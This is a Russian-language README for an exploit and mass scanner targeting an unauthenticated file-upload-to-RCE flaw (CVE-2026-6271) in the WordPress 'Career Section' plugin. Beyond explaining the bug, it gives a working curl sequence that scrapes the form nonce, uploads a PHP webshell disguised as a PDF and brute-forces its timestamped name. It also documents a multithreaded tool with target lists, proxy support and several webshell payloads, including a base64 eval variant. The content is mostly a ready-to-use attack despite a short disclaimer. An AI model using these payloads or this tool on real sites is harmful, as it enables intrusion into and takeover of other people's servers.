
Автоматический сканер для CVE-2026-6271 — критической неаутентифицированной произвольной загрузки файлов, приводящей к RCE в плагине Career Section для WordPress. Поддерживает многопоточное сканирование, несколько типов шеллов и интеграцию с прокси.
Плагин: Career Section (
career-section) ID CVE: CVE-2026-6271 Оценка CVSS: 9.8 (Critical) Вектор CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HТип уязвимости: Неаутентифицированная произвольная загрузка файлов → удалённое выполнение кода Подверженные версии: <= 1.7 Исправленная версия: 1.8 Дата публикации: 13 мая 2026 г. Исследователь: Paolo Tresso — Wordfence
Плагин Career Section позволяет владельцам сайтов публиковать вакансии и собирать заявки. На каждой странице вакансии есть форма «Apply Now». Эта форма содержит поле загрузки файла резюме (CV).
В версиях 1.7 и более ранних обработчик загрузки принимает файлы
любого типа — включая .php. Поскольку форма общедоступна, а CSRF-токен
встроен в HTML-код страницы, эта уязвимость может быть использована
без какого-либо аккаунта или прав.
Nonce WordPress — это CSRF-токен, а не токен аутентификации. Значение nonce встроено в HTML-код страницы для каждого посетителя:
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
Любой неаутентифицированный посетитель может получить действительный nonce и пройти проверку.
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {
$original_name = sanitize_file_name( $_FILES['cv']['name'] );
$name_file = time() . '_' . $original_name;
$destination = $cs_dir . '/' . $name_file;
// Проверка расширения ОТСУТСТВУЕТ — принимается всё, включая .php
if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
$uploaded_file_url = $upload_dir['baseurl']
. '/cs_applicant_submission_files/'
. $name_file;
}
}
sanitize_file_name() только очищает специальные символы,
но не блокирует опасные расширения.
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>
В этой директории отсутствует файл .htaccess, запрещающий выполнение PHP.
| Причина | Описание |
|---|---|
| Аутентификация не требуется | Nonce встроен в публичный HTML |
| Нет ограничений по типу файла | Принимаются .php, .php5, .phtml |
Нет защиты .htaccess | PHP выполняется в директории загрузки |
| Предсказуемое имя файла | time()_filename → перебор timestamp |
⚠️ Дисклеймер: Этот PoC предназначен только для образовательных целей. Тестируйте только на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
Предварительные условия:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"
NONCE=$(curl -s "$JOB_URL" \
| grep -oP 'name="csaf_form_nonce" value="\K[^"]+')
echo "Nonce: $NONCE"
Структура, которую нужно искать в исходном коде страницы:
<input type="hidden"
id="csaf_form_nonce"
name="csaf_form_nonce"
value="a1b2c3d4e5" />
TS=$(date +%s)
curl -s -X POST "$JOB_URL" \
-F "first_name=John" \
-F "last_name=Doe" \
-F "present_address=123 Main St" \
-F "[email protected]" \
-F "mobile_no=1234567890" \
-F "post_name=Engineer" \
-F "submit=Submit" \
-F "csaf_form_nonce=$NONCE" \
-F "[email protected];type=application/pdf" \
| grep -o "Application has been sent"
Имя файла имеет формат <timestamp>_shell.php.
Перебирайте timestamp'ы вокруг $TS:
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"
for T in $(seq $((TS-2)) $((TS+2))); do
URL="$UPLOADS/${T}_shell.php"
RESULT=$(curl -s "$URL?cmd=id")
if echo "$RESULT" | grep -q "uid="; then
echo "Webshell активен: $URL"
echo "Вывод RCE : $RESULT"
break
fi
done
Ожидаемый результат:
Webshell активен: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
Вывод RCE : uid=33(www-data) gid=33(www-data) groups=33(www-data)
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt
requirements.txt
requests
python career_section_rce.py -u http://hedef.com
python career_section_rce.py -u http://hedef.com \
--job-url http://hedef.com/careers/engineer/
python career_section_rce.py -u http://hedef.com \
--verify-cmd "whoami"
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt
python career_section_rce.py -u http://hedef.com --ts-window 10
python career_section_rce.py -u http://hedef.com \
--shell-type full \
--proxy http://127.0.0.1:8080
| Параметр | Короткий | Описание | По умолчанию |
|---|---|---|---|
--url | -u | URL одиночной цели | — |
--list | -l | Файл со списком целей | — |
--threads | -t | Количество потоков | 10 |
--output | -o | Файл вывода | rce_confirmed.txt |
--job-url | — | Прямой URL страницы вакансии | — |
--shell-name | — | Имя загружаемого файла | shell.php |
--shell-type | — | Тип шелла | system |
--verify-cmd | — | Команда проверки RCE | id |
--ts-window | — | Окно перебора timestamp (±сек) | 5 |
--proxy | — | URL прокси | — |
--timeout | — | Таймаут запроса (сек) | 10 |
| Тип | Payload | Описание |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | Базовая системная команда |
passthru | <?php passthru($_GET["cmd"]); ?> | Сырой вывод |
exec | <?php echo exec($_GET["cmd"]); ?> | Тихий запуск |
assert | <?php assert($_POST["cmd"]); ?> | Выполнение через POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Обфускация Base64 |
full | shell_exec + system + exec fallback | Полнофункциональный шелл |
Корень WordPress/
└── wp-content/
└── uploads/
└── cs_applicant_submission_files/
└── <timestamp>_shell.php ← Шелл здесь
Прямой доступ:
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Статус | Описание |
|---|---|
★ RCE OK | Шелл загружен + команда успешно выполнена |
★ SHELL ALIVE | Шелл доступен, вернул иной ответ |
~ EXEC_DISABLED | Шелл существует, но exec() отключён на сервере |
? UPLOADED | Загружено, но timestamp не найден |
- BLOCKED | Тип файла заблокирован (исправленная версия) |
~ NO_NONCE | csaf_form_nonce не найден |
~ TIMEOUT | Таймаут соединения |
~ UNREACH | Цель недоступна |
[*] 3 цели | CVE-2026-6271 Career Section | threads=10